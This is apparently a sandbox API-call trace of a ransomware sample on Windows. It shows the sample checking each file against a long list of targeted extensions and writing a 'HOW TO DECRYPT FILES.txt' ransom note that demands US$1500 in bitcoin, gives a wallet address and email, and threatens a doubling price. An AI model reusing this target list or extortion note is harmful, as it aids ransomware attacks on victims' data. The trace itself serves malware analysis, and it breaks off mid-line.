PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.png") returned 0 [0165.367] lstrlenA (lpString="*.png") returned 5 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.php") returned 0 [0165.367] lstrlenA (lpString="*.php") returned 5 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.cs") returned 0 [0165.367] lstrlenA (lpString="*.cs") returned 4 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.cpp") returned 0 [0165.367] lstrlenA (lpString="*.cpp") returned 5 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.rar") returned 0 [0165.367] lstrlenA (lpString="*.rar") returned 5 [0165.367] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.zip") returned 0 [0165.368] lstrlenA (lpString="*.zip") returned 5 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.html") returned 0 [0165.368] lstrlenA (lpString="*.html") returned 6 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.htm") returned 0 [0165.368] lstrlenA (lpString="*.htm") returned 5 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.xlsx") returned 0 [0165.368] lstrlenA (lpString="*.xlsx") returned 6 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.xls") returned 0 [0165.368] lstrlenA (lpString="*.xls") returned 5 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.mp4") returned 0 [0165.368] lstrlenA (lpString="*.mp4") returned 5 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.ppt") returned 0 [0165.368] lstrlenA (lpString="*.ppt") returned 5 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.pptx") returned 0 [0165.368] lstrlenA (lpString="*.pptx") returned 6 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.doc") returned 0 [0165.368] lstrlenA (lpString="*.doc") returned 5 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.dot") returned 0 [0165.368] lstrlenA (lpString="*.dot") returned 5 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.docx") returned 0 [0165.368] lstrlenA (lpString="*.docx") returned 6 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.7z") returned 0 [0165.368] lstrlenA (lpString="*.7z") returned 4 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.tar") returned 0 [0165.368] lstrlenA (lpString="*.tar") returned 5 [0165.368] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.bz2") returned 0 [0165.369] lstrlenA (lpString="*.bz2") returned 5 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.gz") returned 0 [0165.369] lstrlenA (lpString="*.gz") returned 4 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.mkv") returned 0 [0165.369] lstrlenA (lpString="*.mkv") returned 5 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.eml") returned 0 [0165.369] lstrlenA (lpString="*.eml") returned 5 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.msg") returned 0 [0165.369] lstrlenA (lpString="*.msg") returned 5 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.edb") returned 0 [0165.369] lstrlenA (lpString="*.edb") returned 5 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.accdb") returned 0 [0165.369] lstrlenA (lpString="*.accdb") returned 7 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.odb") returned 0 [0165.369] lstrlenA (lpString="*.odb") returned 5 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.java") returned 0 [0165.369] lstrlenA (lpString="*.java") returned 6 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.asm") returned 0 [0165.369] lstrlenA (lpString="*.asm") returned 5 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.pfx") returned 0 [0165.369] lstrlenA (lpString="*.pfx") returned 5 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.pem") returned 0 [0165.369] lstrlenA (lpString="*.pem") returned 5 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.p12") returned 0 [0165.369] lstrlenA (lpString="*.p12") returned 5 [0165.369] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.gpg") returned 0 [0165.370] lstrlenA (lpString="*.gpg") returned 5 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.vsd") returned 0 [0165.370] lstrlenA (lpString="*.vsd") returned 5 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.odg") returned 0 [0165.370] lstrlenA (lpString="*.odg") returned 5 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.raw") returned 0 [0165.370] lstrlenA (lpString="*.raw") returned 5 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.nef") returned 0 [0165.370] lstrlenA (lpString="*.nef") returned 5 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.svg") returned 0 [0165.370] lstrlenA (lpString="*.svg") returned 5 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.psd") returned 0 [0165.370] lstrlenA (lpString="*.psd") returned 5 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.vmx") returned 0 [0165.370] lstrlenA (lpString="*.vmx") returned 5 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.vmdk") returned 0 [0165.370] lstrlenA (lpString="*.vmdk") returned 6 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.vdi") returned 0 [0165.370] lstrlenA (lpString="*.vdi") returned 5 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.lay6") returned 0 [0165.370] lstrlenA (lpString="*.lay6") returned 6 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.mpeg") returned 0 [0165.370] lstrlenA (lpString="*.mpeg") returned 6 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.djvu") returned 0 [0165.370] lstrlenA (lpString="*.djvu") returned 6 [0165.370] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.tiff") returned 0 [0165.371] lstrlenA (lpString="*.tiff") returned 6 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.backup") returned 0 [0165.371] lstrlenA (lpString="*.backup") returned 8 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.pdf") returned 0 [0165.371] lstrlenA (lpString="*.pdf") returned 5 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.cert") returned 0 [0165.371] lstrlenA (lpString="*.cert") returned 6 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.docm") returned 0 [0165.371] lstrlenA (lpString="*.docm") returned 6 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.xlsm") returned 0 [0165.371] lstrlenA (lpString="*.xlsm") returned 6 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.dwg") returned 0 [0165.371] lstrlenA (lpString="*.dwg") returned 5 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.nd") returned 0 [0165.371] lstrlenA (lpString="*.nd") returned 4 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.tlg") returned 0 [0165.371] lstrlenA (lpString="*.tlg") returned 5 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.lgb") returned 0 [0165.371] lstrlenA (lpString="*.lgb") returned 5 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.mov") returned 0 [0165.371] lstrlenA (lpString="*.mov") returned 5 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.xdw") returned 0 [0165.371] lstrlenA (lpString="*.xdw") returned 5 [0165.371] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.ods") returned 0 [0165.371] lstrlenA (lpString="*.ods") returned 5 [0165.372] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.wav") returned 0 [0165.372] lstrlenA (lpString="*.wav") returned 5 [0165.372] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.mp3") returned 0 [0165.372] lstrlenA (lpString="*.mp3") returned 5 [0165.372] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.aiff") returned 0 [0165.372] lstrlenA (lpString="*.aiff") returned 6 [0165.372] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.flac") returned 0 [0165.372] lstrlenA (lpString="*.flac") returned 6 [0165.372] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.m4a") returned 0 [0165.372] lstrlenA (lpString="*.m4a") returned 5 [0165.372] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser", pszSpec="*.csv") returned 0 [0165.372] lstrlenA (lpString="*.csv") returned 5 [0165.372] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf2eb741, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbf2eb741, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x96ea640f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5405, dwReserved0=0x0, dwReserved1=0x0, cFileName="jphone.browser", cAlternateFileName="JPHONE~1.BRO")) returned 1 [0165.372] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.372] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jphone.browser") returned -1 [0165.372] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jphone.browser") returned -1 [0165.372] lstrcmpiA (lpString1="", lpString2="jphone.browser") returned -1 [0165.372] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\Jataayu.browser") returned="Jataayu.browser" [0165.372] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" [0165.372] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\") returned="" [0165.372] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" [0165.372] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt")) returned 0xffffffff [0165.373] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.373] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.373] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.373] CloseHandle (hObject=0xffffffff) returned 0 [0165.373] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\", lpString2="jphone.browser" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser" [0165.373] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.ems") returned 0 [0165.373] lstrlenA (lpString="*.ems") returned 5 [0165.373] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.db") returned 0 [0165.373] lstrlenA (lpString="*.db") returned 4 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.dbf") returned 0 [0165.374] lstrlenA (lpString="*.dbf") returned 5 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.myox") returned 0 [0165.374] lstrlenA (lpString="*.myox") returned 6 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.myo") returned 0 [0165.374] lstrlenA (lpString="*.myo") returned 5 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.qbw") returned 0 [0165.374] lstrlenA (lpString="*.qbw") returned 5 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.qbb") returned 0 [0165.374] lstrlenA (lpString="*.qbb") returned 5 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.qbm") returned 0 [0165.374] lstrlenA (lpString="*.qbm") returned 5 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.qbo") returned 0 [0165.374] lstrlenA (lpString="*.qbo") returned 5 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.qbx") returned 0 [0165.374] lstrlenA (lpString="*.qbx") returned 5 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.qba") returned 0 [0165.374] lstrlenA (lpString="*.qba") returned 5 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.qby") returned 0 [0165.374] lstrlenA (lpString="*.qby") returned 5 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.qbj") returned 0 [0165.374] lstrlenA (lpString="*.qbj") returned 5 [0165.374] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.ofx") returned 0 [0165.374] lstrlenA (lpString="*.ofx") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.qif") returned 0 [0165.375] lstrlenA (lpString="*.qif") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.mye") returned 0 [0165.375] lstrlenA (lpString="*.mye") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.mbox") returned 0 [0165.375] lstrlenA (lpString="*.mbox") returned 6 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.eml") returned 0 [0165.375] lstrlenA (lpString="*.eml") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.pst") returned 0 [0165.375] lstrlenA (lpString="*.pst") returned 5 [0165.375] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_regbrowser_files_b03f5f7f11d50a3a_6.1.7600.16385_none_fdde508273949e1f\\jphone.browser", pszSpec="*.ost") returned 0 [0165.375] lstrlenA (lpString="*.ost") returned 